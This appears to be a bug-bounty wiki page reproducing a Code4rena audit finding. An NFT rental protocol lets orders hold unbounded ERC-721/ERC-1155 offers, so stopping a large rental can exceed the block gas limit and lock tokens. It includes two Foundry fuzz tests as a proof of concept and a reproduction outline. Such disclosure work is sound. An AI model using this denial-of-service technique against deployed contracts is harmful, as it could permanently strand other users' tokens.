Risk of DoS when stoping large rental orders due to block gas limit
The order validation policy did not cap the number of offers in a rental order, so an order could contain an arbitrary number of ERC-721 and ERC-1155 items. If a large enough order was created, stopping it could require more gas than the block gas limit allows, leaving the order permanently in a rental state and the escrowed tokens unreclaimable.
plasmablocks Follow with serial-coder, 0xabhay and 2 others
Originally disclosed on Code4rena
Submitted by plasmablocks, also found by serial-coder, 0xabhay, BARW, and hals
When an order is created on Opensea the Create::validateOrder() policy method is used to ensure the order is configured correctly. Currently there is no maximum limit to the number of offers in the input ZoneParameters, which allows orders to contain an arbitrary amount of ERC-721 and ERC-1155 items to a rental order.
If a large enough rental order is successfully created, there is a risk that it won’t be able to be stopped by calling the Stop::stopRent() due to the amount of gas required exceeding the block gas limit. This would prevent the escrow from settling the order and leave the order permantanly in a rental state. This also means any ERC-721 and ERC-1155 tokens in the order would not be able to be reclaimed.
This situation arises under the following conditions:
- The call to stop a rental order uses more gas than the call to create a rental order
- The call to create the rental order is successful
- The call to stop a rental order uses more gas than the block gas limit
Proof of Concept
Below I have written 2 proof of concepts to show the above conditions are possible. Each of these can be added to StopRent.t.sol to run.
// Update the `setup` in AccountCreator to 2000+ tokens on deployToken
function testFuzz_StopRent_PayOrder_More_Expensive_To_Stop_Than_Start(uint numOf721, uint numof1155) public {
numOf721 = bound(numOf721, 400, erc721s.length);
numof1155 = bound(numof1155, 400, erc1155s.length);
uint numOfERC20 = erc1155s.length % 30;
// create a Alice BASE order
createOrder({
offerer: alice,
orderType: OrderType.BASE,
erc721Offers: numOf721,
erc1155Offers: numof1155,
erc20Offers: 0,
erc721Considerations: 0,
erc1155Considerations: 0,
erc20Considerations: numOfERC20
});
(
Order memory orderOne,
bytes32 orderHashOne,
OrderMetadata memory metadataOne
) = finalizeOrder();
createOrderFulfillment({
_fulfiller: bob,
order: orderOne,
orderHash: orderHashOne,
metadata: metadataOne
});
uint initialGasLeft = gasleft();
// finalize the base order fulfillment
RentalOrder memory rentalOrderOne = finalizeBaseOrderFulfillment();
uint totalGasForOrder = initialGasLeft - gasleft();
// speed up in time past the rental expiration
vm.warp(block.timestamp + 750);
// stop the rental order and steal carols nft
vm.prank(alice.addr);
uint remaininggInitial = gasleft();
stop.stopRent(rentalOrderOne);
uint finalGasLeft = gasleft();
uint gasForStopingRent = remaininggInitial - finalGasLeft;
assert(totalGasForOrder > gasForStopingRent);
}
// Update the `setup` in AccountCreator to 2000+ tokens on deployToken
function testFuzz_StopRent_PayOrder_StopRent_Hit_Block_GasLimit(uint numOf721, uint numof1155) public {
numOf721 = bound(numOf721, 1500, erc721s.length);
numof1155 = bound(numof1155, 1500, erc1155s.length);
uint numOfERC20 = erc1155s.length % 30;
// create a Alice BASE order
createOrder({
offerer: alice,
orderType: OrderType.BASE,
erc721Offers: numOf721,
erc1155Offers: numof1155,
erc20Offers: 0,
erc721Considerations: 0,
erc1155Considerations: 0,
erc20Considerations: numOfERC20
});
(
Order memory orderOne,
bytes32 orderHashOne,
OrderMetadata memory metadataOne
) = finalizeOrder();
createOrderFulfillment({
_fulfiller: bob,
order: orderOne,
orderHash: orderHashOne,
metadata: metadataOne
});
uint initialGasLeft = gasleft();
// finalize the base order fulfillment
RentalOrder memory rentalOrderOne = finalizeBaseOrderFulfillment();
uint totalGasForOrder = initialGasLeft - gasleft();
// speed up in time past the rental expiration
vm.warp(block.timestamp + 750);
// stop the rental order and steal carols nft
vm.prank(alice.addr);
uint remaininggInitial = gasleft();
stop.stopRent(rentalOrderOne);
uint finalGasLeft = gasleft();
uint gasForStopingRent = remaininggInitial - finalGasLeft;
// finalize the order creation
// block gaslimit for ETH: https://ycharts.com/indicators/ethereum_average_gas_limit
uint GAS_LIMIT = 30000000 wei;
assert(gasForStopingRent < GAS_LIMIT);
}
Tools Used
Foundry
Recommended Mitigation Steps
Limit the number of offers that an order can contain (to a value such as 500 or 1000) to ensure that stopping rentals doesn’t exceed the blocks gas limit. One way to do this is to enforce a maximum number of SpentItem[] offer and fail to create the order if it is exceeded.
Note: To see full discussion, see here.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the order validation did not enforce a maximum number of offers, so order size was unbounded while the stop path costs more gas per item than the create path.
Impact
A large rental order could become impossible to stop, leaving it permanently in a rental state and preventing the ERC-721 and ERC-1155 tokens from being reclaimed.
What the attacker needed
Ability to create a rental order; order with very many items; stop path costs more gas than create
The fix
The order creation should enforce a maximum number of offers (for example 500 or 1000) and reject orders that exceed it.
How it was found
- Create a rental order containing a very large number of ERC-721 and ERC-1155 offers.
- Fulfil the order so it becomes an active rental.
- Advance time past the rental expiration.
- Call stopRent on the order and observe that the gas required exceeds the block gas limit.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
On a blockchain, every action costs a limited amount of 'gas', and each block only allows so much gas in total. This rental contract let someone create an order with a huge number of items, and cancelling that order later needed more gas than a block can hold, so the cancellation could never succeed. The rented items would then be stuck in the contract.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.